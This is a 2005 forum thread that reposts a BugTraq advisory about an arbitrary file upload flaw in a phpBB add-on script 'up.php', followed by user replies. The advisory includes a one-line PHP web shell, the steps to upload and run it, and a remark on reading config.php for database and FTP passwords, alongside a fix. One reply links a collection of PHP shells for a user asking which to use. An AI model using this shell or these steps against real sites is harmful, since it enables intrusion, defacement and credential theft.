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www.waraxe.us Forum Index -> PhpBB -> phpBB Upload Script "up.php" Arbitrary File Upload
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phpBB Upload Script "up.php" Arbitrary File Upload
PostPosted: Fri Apr 08, 2005 8:00 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




To: BugTraq
Subject: phpBB Upload Script "up.php" Arbitrary File Upload
Date: Apr 8 2005 2:21AM
Author: Status-x <phr4xz gmail com>
Message-ID: <81ceb96d050407192175d0e344@mail.gmail.com>


#####################################################################

Advisory #1 "phpBB Upload Script "up.php" Arbitrary File Upload"

$ Author: Status-x
$ Contact: phr4xz gmail com - status-x hackersoft net
$ Date: 7 April 2005
$ Website: http://defacers.com.mx
$ Original Advisory: http://www.defacers.com.mx/advisories/2.txt
$ Risk: High
$ Vendor URL: http://phpbb.com

$ Affected Software: phpBB 2.0.x

Note: Sorry if it has been posted before

#####################################################################

-= Description =-

phpBB its a forums system written in php which can support images, polls,

private messages and more

http://www.phpbb.com

---------------------------------------------------------------------------

-= Vulnerabilities =-


- | "Arbitrary File Upload" |


In phpBB forums there is an script which can allow to remote and registered

users to upload files with arbitrary content and with any extension.

I didnt found any website where i can download the script so i couldnt

check who made it.



- | Examples: |


We can create and example code to upload it to the "test site"


<?

system($cmd)

?>


And save it as cmd.php. The we enter to:

--------------------------

http://target/phpbb/up.php

--------------------------


And upload our code, to see our file we just enter to:

-----------------------------------

http://targey/phpbb/uploads/cmd.php

-----------------------------------


And we could see that our file has been uploaded:



Warning: system(): Cannot execute a blank command in
/home/target/public_html/forum/uploads/tetx.php on line 2


The we can execute *NIX commands to obtain extremely compromising info

that could end with the "deface" of the affected site:

-----------------------------------------------------

Linux SERVER 2.4.21-4.0.1.ELsmp #1 SMP
Thu Oct 23 01:27:36 EDT 2003 i686 i686 i386 GNU/Linux
/home/target/public_html/forum/uploads
uid=32029(target) gid=530(target) groups=530(target)

------------------------------------------------------

This is just an example to what can be done by a malicious attacker.


- | "Password Disclosure" |


The remote or local attacker can also read the config.php file disclosing

the information about the DB and possible the FTP password


------------------------------------------------------

Example

-= How to FIX =-

Just filter the allowed extensions of the uploaded files in the up.php

source.


-= Contact =-

Status-x

phr4xz gmail com

http://www.defacers.com.mx

From url: http://www.securityfocus.com/archive/1/395351
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PostPosted: Sat Apr 09, 2005 12:29 am Reply with quote
y3dips
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Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




strange

i dont find any file with name up.php and uploads directory even in 2.0.4 version of PHPbb

???????

_________________
IO::y3dips->new(http://clog.ammar.web.id);
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PostPosted: Sat Apr 09, 2005 12:56 am Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




y3dips wrote:
strange

i dont find any file with name up.php and uploads directory even in 2.0.4 version of PHPbb

???????


Some third-party add-on MOD maybe Question
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PostPosted: Sat Apr 09, 2005 4:41 am Reply with quote
shai-tan
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Joined: Feb 22, 2005
Posts: 477




Yes its not on any of my older versions.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Sat Apr 09, 2005 5:22 am Reply with quote
wyk
Regular user
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Joined: Mar 15, 2005
Posts: 10




i found a lot of forums containing the up.php, and the strangest is that the first i found allready contained cmd.php.....


Last edited by wyk on Sat Apr 09, 2005 11:45 am; edited 1 time in total
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PostPosted: Sat Apr 09, 2005 5:28 am Reply with quote
shai-tan
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Joined: Feb 22, 2005
Posts: 477




Yeah its strange looking at the older 2.0.x.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Sat Apr 09, 2005 3:37 pm Reply with quote
y3dips
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Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




waraxe : hum, maybe yaou are right, the "up.php" maybe in another module Question
wyx : how a lucky guy you are Laughing

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PostPosted: Sat Apr 09, 2005 3:55 pm Reply with quote
wyk
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Joined: Mar 15, 2005
Posts: 10




y3dips: there was an error when i wanted to open it. did not try to put my own.
but there did not apear any exploit that would work on the forum that i wanted so much..
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PostPosted: Tue May 31, 2005 5:42 pm Reply with quote
theOne
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Joined: May 31, 2005
Posts: 8




instead of th system command, what's the best php shell script out there to use?
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PostPosted: Tue May 31, 2005 6:09 pm Reply with quote
LINUX
Moderator
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Joined: May 24, 2004
Posts: 404
Location: Caiman




theOne wrote:
instead of th system command, what's the best php shell script out there to use?


here you have 3 or 4 php shells

www.sosvulnerable.net/waraxe/php-shells.rar
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PostPosted: Wed Jun 01, 2005 1:28 am Reply with quote
erg0t
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Joined: Apr 08, 2005
Posts: 55
Location: Uruguay




the up.php script is a hack, i don't remember well but i think i find in phpbbhacks
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phpBB Upload Script "up.php" Arbitrary File Upload
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